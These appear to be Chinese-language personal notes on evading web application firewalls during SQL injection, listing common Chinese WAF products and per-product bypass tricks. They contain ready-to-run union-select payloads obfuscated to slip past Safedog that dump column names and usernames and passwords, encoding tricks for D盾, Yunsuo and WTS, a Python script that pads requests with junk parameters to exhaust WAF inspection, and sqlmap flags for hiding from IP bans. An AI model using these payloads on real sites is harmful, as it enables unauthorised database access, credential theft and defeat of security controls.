学习链接
sql bypass
http://drops.xmd5.com/static/drops/tips-7883.html
sql科普文
http://drops.xmd5.com/static/drops/web-16972.html
常见的waf
百度云加速、云锁、360网站卫士、腾讯云、安全狗、安全宝、启明星辰、知道创宇、天融信、cloudflare
潜规则:
百度云加速免费版节点基于CloudFlare
安全宝和百度云加速规则库相似
创宇云安全和腾讯云安全规则库相似
腾讯云安全和门神规则库相似
硬件waf自身漏洞往往一大堆
mysql
union注入(盲注、DNSlog过不了and过滤那关)
将空格替换为/!90000aaa/即可(前提是没有禁用information_schema)
工具扫描
切换一下user-agent即可
--delay
推迟一下,怕被ban ip
--check-waf
检查是否有waf
XFF绕过
tamper=xforwardedfor.py
接下来就是特性的绕过(等待具体事例)
hpp(还未具体实验)
伪静态与参数绑定
如果是一个参数,可能存在伪静态
如果是多个参数+伪静态,则可能是参数绑定
绕waf检测
输入单引号看是否被禁用掉,如果没有报错可以尝试union联合注入,然后再测试测试information_schema是否被禁用。
然后(安全狗bypass):
-1'union/!90000aaa/select/!90000aaa/1,2/!90000aaa/#
-1'union/!90000aaa/select/!90000aaa/1,group_concat(column_name)/!90000aaa/from/!90000aaa/information_schema.columns/!90000aaa/where/!90000aaa/table_name='users'/!90000aaa/#
-1'union/!90000aaa/select group_concat(user),group_concat(password)/!90000aaa/from/!90000aaa/users/!90000aaa/#
万能bypass
https://cloud.tencent.com/developer/article/1592593
https://www.secpulse.com/archives/121202.html
总结
1.如果判断是否有sql注入
GET型 输入单引号,如果没被转换为空,或者没被转义,或者没被参数绑定则说明存在sql注入
POST型 同理
2.接下来判断是否可以联合注入,页面是否有回显
有回显,则union select绕WAF,and注入具体还需看过滤的怎么样
具体:
安全狗4.0
-1'union/!90000aaa/select/!90000aaa/1,2/!90000aaa/#
-1'union/!90000aaa/select/!90000aaa/1,group_concat(column_name)/!90000aaa/from/!90000aaa/information_schema.columns/!90000aaa/where/!90000aaa/table_name='users'/!90000aaa/#
-1'union/!90000aaa/select group_concat(user),group_concat(password)/!90000aaa/from/!90000aaa/users/!90000aaa/#
D盾(测试版本:2017-12-4)
空格为/DW%2B%26Lt%3B%2B/
云锁3.1.6
/%2500/
只要遇到%2500就不会去检测后面的东西
安恒waf(版本未知,仅适用于asp)
利用iis特性
WTSwaf
空格用+号代替
附上(特性的绕过):http://drops.xmd5.com/static/drops/tips-7883.html
3.万能bypass(针对WAF层的性能)
python脚本:
coding=utf-8
import random,string
from urllib import parse
code by yzddMr6
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
str_list = [random.choice(string.ascii_letters) for i in range(length)]
random_str = ''.join(str_list)
return random_str
def main():
data={}
for i in range(num_min,num_max):
data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
print('&'+parse.urlencode(data)+'&')
main()
如果是POST型就直接把垃圾数据放到你要注入的字段前后,如果是GET型就把他转为POST型再放垃圾数据
GET型还是要看服务器能够支持的Url长度,POST型的话6kB-10KB就能绕过狗了
4.sqlmap bypass
一、绕过脚本
具体情况具体使用
二、user-agent
--random-agent,防止waf根据user-agent头拦截
三、--delay
--delay,防止waf判断为CC攻击
四、--proxy
--proxy,设置代理,这样就不怕搬ip了
五、XFF绕过
tamper=xforwarededfor.py